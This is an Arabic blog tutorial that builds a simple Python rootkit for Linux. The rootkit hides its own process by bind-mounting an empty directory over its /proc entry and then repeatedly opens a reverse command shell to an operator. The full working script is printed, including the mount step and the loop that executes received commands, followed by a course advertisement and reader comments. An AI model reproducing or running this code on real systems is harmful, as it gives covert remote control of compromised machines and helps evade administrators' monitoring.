مقال : برمجة Rootkit بسيط لعمل reverse connection بشكل خفي بلغة python
تُعتبر أساليب التخفي أثناء القيام في عملية إختبار إختراق أو حتى بعد الإنتهاء منها من الأمور التي يجب علينا أن نُدركها بشكل كبير وأن نتعلم العديد من التقنيات الخاصه التي تُساعدنا على أن نقوم بالتحكم بالأهداف الخاصه بنا لأطول مُدة مُمكنه دون أن يتم إكتشافها , ومن أحد هذه التقنيات هي إستخدام Rootkit , حيث نستطيع أن نُعرف الـ Rootkit بأنه أحد البرمجيات الخبيثه التي يتم إستخدمها بعد إختراق النظام لتمكين التحكم به بشكل خفي وبالبطبع دون مُلاحظة هذه النشاطات من قِبل مُدير النظام , حيث أننا في هذا المقال سوف نقوم ببرمجة Rootkit بسيط يقوم بشكل رئيسي بإخفاء العملية “Process” الخاصة به ولا يُظهرها أو يُظهر معلوماتها لأي برنامج مُراقبة يعمل على الهدف الخاص بنا.
بالطبع سوف نقوم ببرمجة هذا الـ Rootkit ليعمل على أنظمة Linux , وسوف نقوم ببرمجته بشكل كامل بلغة Python وبالطبع سوف أقوم بشرحه بشكل كامل , قبل البدأ يجب علينا أن نعلم بأن الـ Rootkit يتم تشغيله على الهدف بعد أن نقوم بأخذ صلاحيات Root على النظام لكي نتمكن من التصرف بحُرية مع العديد من الوظائف والعمليات دون أن يتم الإعتراض عليها من قبل النظام بسبب الصلاحيات المُتدنيه للمُستخدم العادي.
فكرة الـ Rootkit التي سوف نقوم ببرمجته بسيطه , حيث أنه سوف يعمل على الإتصال بنا بشكل خفي كُل عدد مُعين من الثواني “لأغراض الشرح فقط” , وبالطبع سوف يكون هذا الإتصال العكسي “reverse connection” هو عباره عن reverse command shell يُتيح لنا تطبيق الأوامر على نظام Linux دون أن يتم إظهار الـ Process التي يعمل بها هذا السكربت.
دعونا نبدأ الأن بتوضيح التقنية التي سوف نستخدمها لإخفاء الـ Process , طبعاً أنا أفترض بأن لديكم معرفة مُسبقه عن الـ Process وكيف يتم إنشاؤها وكيف يتم التعامل معها من قبل نظام التشغيل , دعونا نقوم الأن كمثال بتشغيل أي برنامج بسيط وتطبيق الأمر ps aux | grep filename لجلب معلومات الـ Process بشكل سريع بإستخدام الأمر ps حيث أننا سوف نقوم بتشغيل هذا الكود البسيط ومحاولة عرض حالة الـ Process الخاصه به بشكل سريع :
#!/usr/bin/python import time counter = 0 while counter <= 1000: time.sleep(1) print "[+]Counter is : {0}".format(counter) counter = counter + 1
وفور تشغيل البرنامج سوف نرى بأنه يعمل بشكل بسيط , وبجانبه نتيجة تنفيذ الأمر ps aux | grep run_process.py :
كما نرى بأن الـ Process التي يعمل بها السكربت run_process.py بإستخدام python تحمل الرقم 27067 وقام بتشغيلها المستخدم askar , وهذا بالضبط ما سوف نعمل على إخفاءه في هذا المقال , حيث سوف نقوم ببرمجة reverse shell خاص بنا ومن ثم برمجة التقنية التي سوف تُساعدنا على إخفاء الـ Process داخل الـ reverse shell.
ولكن قبل برمجة الـ reverse shell , سوف أقوم بشرح التقنية التي تعمل على إخفاء الـ Process بشكل سريع وإعادة شرحها داخل السكريت السابق ومن ثم تطبيقها داخل مثال عملي.
كيف أستطيع إخفاء الـ Process وعدم إظهارها ؟
العملية بسيطه جداً , سوف نقوم بإستخدام مفهوم الـ Mount على المُجلد الخاص بالعملية , حيث أنه كما نعلم كُل شيء في نظام Linux يتم من خلال الـ files أو الملفات , حيث أنه بعد أن يقوم النظام بإنشاء عملية “Process” جديده , يقوم بإنشائها داخل المُجلد /proc على نظام Linux , وفي ما يلي صورة توضح محتويات المُجلد /proc :
كما نرى يوجد العديد من المجلدات التي تحمل أرقام مُختلفة , يتم تسمية المُجلد حسب رقم الـ Process التي تعمل
ملاحظة : لا تستطيع التعديل ولا حذف أي من هذه المُجلدات حتى لو كان معك صلاحيات root
حيث أن البرمجيات التي تُساعدك على إظهار العمليات “Processes” تقوم بالإعتماد على هذا المُجلد لإظهار العمليات , الأن لإخفاء أحد هذه العمليات سوف نقوم كما ذكرت مُسبقاً بعمل ما يُسمى bind mount على المُجلد الخاص بالعملية “Process” مع مُجلد فارغ تم عمله بشكل مُسبق لكي يتم إستبدال “ظاهرياً” المُجلد الخاص بالـ Process بمُجلد فارغ , مما يعني أن العملية ليست موجوده , على الرغم من أنها سوف تكون موجوده وتعمل دون أي مشاكل على النظام.
للمزيد عن الـ Bind mount أنصحكم بمُراجعة هذا النقاش
لعمل الـ Bind mount نحتاج أن نقوم بإنشاء مُجلد فارغ , ومن ثم عمل الـ bind mount عليه بإستخدام الأمر التالي :
mount -o bind emptydir /proc/pid
مع إستبدال emptydir بمسار المُجلد الفارغ , وطبعاً إستبدال pid برقم الـ Process الخاصه بالبرنامج , ولاحقاً سوف نقوم بالتعرف على كيفية جلب الـ process id بإستخدام python.
بعد تنفيذ هذه العملية على أي Process سوف نُلاحظ بأنها إختفت تماماً من البرامج التي تعمل على مُراقبة الـ Processes مثل top , htop , ps ..
الأن لرسم السيناريو الخاص بنا لهذا الـ rootkit سوف تكون الخطوات كالتالي :
- معرفة الـ process id التي يعمل بها السكربت.
- إنشاء مُجلد فارغ بإسم عشوائي.
- تنفيذ الـ bind mount كما سبق وذكرنا.
- محاولة الإتصال بنا كُل عدد مُعين من الثواني.
وطبعاً بما أننا تحدثنا في مقال سابق عن كيفية برمجة reverse shell بإستخدام python فلن أتطرق لشرح الكود بشكل مُفصل لهذه الجزئية.
في ما يلي الكود الخاص بالـ rootkit وبأسفله مُباشرة شرح مُفصل له :
#!/usr/bin/python """ Author : Mohammad Askar | @mohammadaskar2 Description : Reverse shell rootkit """ import os import socket import subprocess import string import time import random as r # Strings to generate the temporary random process name from ch = string.uppercase + string.digits token = "".join(r.choice(ch) for i in range(5)) pid = os.getpid() # make bind mount on the current process folder in /proc to hide it os.system("mkdir /tmp/{1} && mount -o bind /tmp/{1} /proc/{0}".format(pid, token)) host = "localhost" port = 8888 # print message (for debugging issues) print "[+]Rootkit is working now , check your connection .. " def MakeConnection(h, p): try: # Reverse connection interval time.sleep(5) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((h, p)) while True: command = sock.recv(1024) # Exit if the attacker sent exit command if command.strip("\n") == "exit": # Close socket sock.close() proc = subprocess.Popen(command, stdout=subprocess.PIPE , stderr=subprocess.PIPE , shell=True) # Execute the sent command proc_result = proc.stdout.read() + proc.stderr.read() sock.send(proc_result) except socket.error: pass while True: MakeConnection(host, port)
تستطيعون زيارة رابط الكود على github في حال كان به أي مشاكل
طبعاً قُمت بتفصيل الكود أكثر من اللازم لغايات تعليميه وسوف أبدأ من السطر رقم 15 , حيث أنه في هذا السطر نقوم بعمل مُتغير يحتوي على جميع الأحرف باللغة الإنجليزية بشكل “Uppercase” مع الأرقام من 0 إلى 9 , في السطر التي يليها سوف نقوم بإنشاء string عشوائي مُكون من 5 أحرف أو أرقام لكي يكون هو الإسم المؤقت للمُجلد الفارغ الخاص بنا , في السطر 17 نقوم بجلب الـ process id الخاصه بنا وتخزينها في مُتغير pid , في السطر 19 نقوم بعمل الـ Bind mount على الـ process id بشكل مباشر مع المُجلد الفارغ الخاص بنا والذي تم إنشاؤه بشكل مسبق , والأسطر التي تليه داخل MakeConnection function تقوم بعمل الإتصال العكسي كُل عدد مُعين من الثواني يتم تحديده في السطر 25 , ولا داعي لشرح الدالة نفسها لأنه تم شرح كيفية عمل python reverse shell.
بمعنى أخر تستطيع القيام فقط بعملية الـ bind mount داخل أي reverse shell لتحصل على reverse rootkit ولكن في الكود السابق حاولت قدر الإمكان أن أفصل الأمور بشكل علمي وعملي , وطبعاً يُمكنك إختصار العديد من الأمور في المثال السابق.
الان دعونا نقوم بتشغيل السكربت على النظام لدي وجعله يقوم بالإتصال بالـ Localhost على البورت 1337 مثلاً , حيث تستطيع تغير إعدادا الإتصال العكسي من خلال تغير المُتغيرات host , port في السطر 20 و 21 , وفي ما يلي الصورة النهائية للـ rootkit :
حيث نرى النافذة التي على يسارنا قد إستلمت الإتصال من خلال nc , والنافذة التي على يميننا قامت بتشغيل الـ rootkit والنافذة بالأسفل لم تستطيع عرض معلومات الـ process الخاصة بالـ rootkit.py الخاص بنا.
وبهذا نكون قد قُمنا بكتابة الـ rootkit الخاص بنا دون أي مشاكل.
للحصول على مزيد من المعلومات العملية حول كيفية إستخدام python لبرمجة العديد من أدوات إختبار الإختراق , أنصحكم بالتسجيل بالدورة الخاصة بي على منصة Udemy بعنوان “Offensive Python | Mastering ethical hacking using python” من خلال هذا الكوبون بمبلغ 20$ بدلاً من 125$ لزوار مُجتمع iSecur1ty.
في حال كان لديكم أي إستفسارات المرجو التواصل بي وترك تعليقات بالأسفل لكي أقوم بالرد عليكم.
موفق دآئمآ الله ينور عليك 😀
بارك الله فيك..شي بيرفع الراس والله:
شكرا لك اخي شرحك ممتاز , شو هوه bind mount ?
حرام والله العظيم من هالقامات والخبره يروح شرحها كلها للاجانب باللغة الانجليزيه
والله انقهرت يوم شفت الدوره حقته Offensive Python | Mastering ethical hacking باللغة الانجليزيه
حنا العرب اولى في هذه اللغات اننا نفهمها ونطور من قدراتنا بـ شرح باللغة العربيه لانها اسهل علينا في الفهم
الله يوفق الجميع .. وتشكر على مجهوداتك